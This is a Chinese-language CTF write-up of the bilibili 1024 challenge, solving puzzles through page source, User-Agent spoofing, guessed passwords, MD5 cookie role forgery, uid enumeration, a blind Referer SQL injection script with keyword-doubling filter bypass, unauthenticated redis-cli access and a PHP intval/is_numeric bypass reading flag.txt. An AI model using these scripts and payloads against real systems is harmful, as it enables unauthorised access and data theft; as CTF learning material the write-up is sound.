这是我打过最不按常理出牌的一次CTF了
CTF(x)
脑筋急转弯(✓)
第一题&第二题
一个页面,两道题。
打开来就是这个页面:
页面的背后是什么
CTRL+U
查看网页源代码,这就是第一题的题目了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果没值
$('#flag1').html("接口异常,请稍后再试~");
}
}
})
|
直接 GET
访问 /api/admin
这个地址就能拿到第一个flag了
真正的秘密只有特殊的设备才能看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})
|
第二题要求用 bilibili Security Browser
去访问,那就直接用 bilibili Security Browser
作为 User-Agent
请求 API
即可
新建一个 User-Agent
,值为 bilibili Security Browser
然后去访问这个 API
地址
第三题:密码是啥?
访问地址是一个登陆框
跑了好几本字典也没跑出来密码。最后别人告诉我,密码是bilibili。。。。。这。。。真就靠猜诶
账号admin,密码bilibili
第四题:对不起,权限不足~
访问页面
查看下源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})
|
查看下提示权限不足,看看 Cookie
有没有啥提示
第二个 session
是我bilibili账号的 Cookie
,那看来应该就是 role
没跑了
md5
解一下 role
的值为 user
,都懂应该要怎么办了吧
网页提示超级管理员,我尝试了 superadmin , admin , root , system , adminsitrator 都不行(这里有个坑,a得大写才OK,别问我怎么知道的😭)
Administrator=7b7bc2512ee1fedcd76bdc68926d4f7b
刷新下页面
第五题:别人的秘密
访问页面
查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
$(function () {
(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});
|
这代码的意思是从 uid=100336889
开始向后遍历,当 uid
的值为超级管理员时,输出 flag
写个脚本跑一下叭(新手,代码写的不好)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
uid = 100336889
while True:
uid = uid + 1
url = "http://45.113.201.36/api/ctf/5?uid=" + str(uid)
print(url)
headers = {
'cookie': 'session=自己哔哩哔哩的Cookie;'
}
res = requests.get(url,headers = headers)
code = res.status_code
print(res.text)
if '200' in res.text:
exit()
|
第六题到第十题
第六题:结束亦是开始
开局一张图,解法全靠猜
一个页面,文章标题、内容、分类、标签全部都是null;评论框是用 HTML5 表单做的、什么都不能提交
url
的格式是 /blog/single.php?id=1
猜测可能是 sql注入,但是 sqlmap 啥也没跑出来
后面经过大佬提示是 referer 注入,贴上脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import requests
url='http://45.113.201.36/blog/single.php?id=1'
flag=''
for i in range(1,100):
left=33
right=128
while right-left!=1:
mid=(left+right)//2
payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
flag+=chr(right)
print (flag)
|
第八题
nmap
扫端口扫出来,发现 6379 端口开放,当然就是 redis未授权访问啦
1
|
redis-cli -h 45.113.201.36 -p 6379
|
第十题
dirsearch
扫目录,扫出来 test.php
的页面
访问发现是 jsfuck
复制到浏览器运行一下
其中的 unicode
解码完是程序员最多的地方
程序员最多的地方当然是 gayhub 了。去 GitHub 上搜索 bilibili1024havefun
很容易就可以找到这个仓库 interesting-1024/end:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
|
这道题考察的是 is_numeric
和 intval
如何绕过、以及 $_GET
的一些脑洞。CTF中常见PHP特性学习笔记
Payload:
1
|
/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt
|
之后会得到一张图片
保存到本地,然后以文本的方式打开,flag 就在最后一行